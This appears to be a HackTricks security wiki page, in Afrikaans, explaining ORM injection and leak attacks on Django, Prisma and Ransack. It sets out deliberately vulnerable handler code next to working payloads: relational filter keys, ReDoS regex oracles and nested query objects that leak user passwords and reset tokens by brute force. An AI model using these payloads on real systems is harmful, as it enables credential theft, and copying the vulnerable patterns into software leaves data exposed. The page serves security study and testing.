ORM Injection
Reading time: 8 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Django ORM (Python)
In hierdie pos word verduidelik hoe dit moontlik is om 'n Django ORM kwesbaar te maak deur byvoorbeeld 'n kode soos:
class ArticleView(APIView):
"""
'n Basiese API-uitsig waaraan gebruikers versoeke stuur om
artikels te soek
"""
def post(self, request: Request, format=None):
try:
articles = Article.objects.filter(**request.data)
serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
Let op hoe al die request.data (wat 'n json sal wees) direk aan filter objek van die databasis oorgedra word. 'n Aanvaller kan onverwagte filters stuur om meer data as verwag daaruit te lek.
Voorbeelde:
- Inlog: In 'n eenvoudige inlog probeer om die wagwoorde van die gebruikers wat daarin geregistreer is, te lek.
{
"username": "admin",
"password_startswith": "a"
}
caution
Dit is moontlik om die wagwoord te brute-force totdat dit gelek word.
- Relasionele filtrering: Dit is moontlik om verhoudings te deurkruis om inligting uit kolomme te lek wat selfs nie verwag is om in die operasie gebruik te word nie. Byvoorbeeld, as dit moontlik is om artikels wat deur 'n gebruiker geskep is te lek met hierdie verhoudings: Article(
created_by
) -[1..1]-> Author (user
) -[1..1]-> User(password
).
{
"created_by__user__password__contains": "pass"
}
caution
Dit is moontlik om die wagwoord van al die gebruikers wat 'n artikel geskep het, te vind.
- Baie-tot-baie relasionele filtrering: In die vorige voorbeeld kon ons nie wagwoorde van gebruikers vind wat nie 'n artikel geskep het nie. Dit is egter moontlik om ander verhoudings te volg. Byvoorbeeld: Article(
created_by
) -[1..1]-> Author(departments
) -[0..*]-> Department(employees
) -[0..*]-> Author(user
) -[1..1]-> User(password
).
{
"created_by__departments__employees__user_startswith": "admi"
}
caution
In hierdie geval kan ons al die gebruikers in die departemente van gebruikers vind wat artikels geskep het en dan hul wagwoorde lek (in die vorige json lek ons net die gebruikersname, maar dan is dit moontlik om die wagwoorde te lek).
- Misbruik van Django Groep en Toestemming baie-tot-baie verhoudings met gebruikers: Boonop word die AbstractUser-model gebruik om gebruikers in Django te genereer en standaard het hierdie model 'n paar baie-tot-baie verhoudings met die Toestemming en Groep tabelle. Wat basies 'n standaard manier is om ander gebruikers van een gebruiker te benader as hulle in die dieselfde groep is of dieselfde toestemming deel.
# By users in the same group
created_by__user__groups__user__password
# By users with the same permission
created_by__user__user_permissions__user__password
- Om filterbeperkings te omseil: Die dieselfde blogpos het voorgestel om die gebruik van sommige filtrering te omseil soos
articles = Article.objects.filter(is_secret=False, **request.data)
. Dit is moontlik om artikels wat is_secret=True het, te dump omdat ons van 'n verhouding terug na die Artikel tabel kan loop en geheime artikels van nie-geheime artikels kan lek omdat die resultate saamgevoeg word en die is_secret veld in die nie-geheime artikel nagegaan word terwyl die data van die geheime artikel gelek word.
Article.objects.filter(is_secret=False, categories__articles__id=2)
caution
Die misbruik van verhoudings maak dit moontlik om selfs filters wat bedoel is om die data te beskerm, te omseil.
- Fout/Tyd gebaseer via ReDoS: In die vorige voorbeelde was dit verwag om verskillende antwoorde te hê as die filtrering gewerk het of nie om dit as orakel te gebruik. Maar dit kan moontlik wees dat 'n aksie in die databasis gedoen word en die antwoord altyd dieselfde is. In hierdie scenario kan dit moontlik wees om die databasisfout te laat ontstaan om 'n nuwe orakel te verkry.
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}
// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
- SQLite: Het nie 'n regexp-operator standaard nie (vereis die laai van 'n derdeparty-uitbreiding)
- PostgreSQL: Het nie 'n standaard regex-tydslimiet nie en is minder geneig tot terugspoeling
- MariaDB: Het nie 'n regex-tydslimiet nie
Prisma ORM (NodeJS)
Die volgende is tricks extracted from this post.
- Volledige vind beheer:
const app = express();
app.use(express.json());
app.post('/articles/verybad', async (req, res) => {
try {
// Aanvaller het volle beheer oor alle prisma opsies
const posts = await prisma.article.findMany(req.body.filter)
res.json(posts);
} catch (error) {
res.json([]);
}
});
Dit is moontlik om te sien dat die hele javascript-liggaam aan prisma oorgedra word om navrae uit te voer.
In die voorbeeld van die oorspronklike pos, sou dit al die plasings wat deur iemand geskep is (elke pos is deur iemand geskep) nagaan en ook die gebruikersinligting van daardie iemand teruggee (gebruikersnaam, wagwoord...)
{
"filter": {
"include": {
"createdBy": true
}
}
}
// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]
Die volgende kies al die plasings wat deur iemand met 'n wagwoord geskep is en sal die wagwoord teruggee:
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}
// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
- Volledige waar-klousule beheer:
Kom ons kyk na hierdie waar die aanval die waar
klousule kan beheer:
app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
where: req.query.filter as any // Kw vulnerable to ORM Leaks
})
res.json(posts);
} catch (error) {
res.json([]);
}
});
Dit is moontlik om die wagwoord van gebruikers direk te filter soos:
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
})
caution
Deur operasies soos startsWith
te gebruik, is dit moontlik om inligting te lek.
- Baie-tot-baie relationele filtrering om die filtrering te omseil:
app.post("/articles", async (req, res) => {
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
})
Dit is moontlik om nie gepubliseerde artikels te lek deur terug te loop na die baie-tot-baie verhoudings tussen Category
-[*..*]-> Article
:
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
Dit is ook moontlik om al die gebruikers wat sommige loop terug baie-tot-baie verhoudings misbruik, te lek:
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
- Fout/Tydsnavrae: In die oorspronklike pos kan jy 'n baie uitgebreide stel toetse lees wat uitgevoer is om die optimale payload te vind om inligting met 'n tydgebaseerde payload te lek. Dit is:
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}
Waar die {CONTAINS_LIST}
'n lys is met 1000 stringe om te verseker dat die antwoord vertraag word wanneer die korrekte leak gevind word.
Ransack (Ruby)
Hierdie truuks is gevind in hierdie pos.
tip
Let daarop dat Ransack 4.0.0.0 nou die gebruik van 'n eksplisiete toelaat lys vir soekbare eienskappe en assosiasies afdwing.
Kwetsbare voorbeeld:
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end
Let op hoe die navraag gedefinieer sal word deur die parameters wat deur die aanvaller gestuur word. Dit was moontlik om byvoorbeeld die reset-token met brute-force te verkry:
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...
Deur brute-forcing en moontlik verhoudings was dit moontlik om meer data uit 'n databasis te lek.
References
- https://www.elttam.com/blog/plormbing-your-django-orm/
- https://www.elttam.com/blog/plorming-your-primsa-orm/
- https://positive.security/blog/ransack-data-exfiltration
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.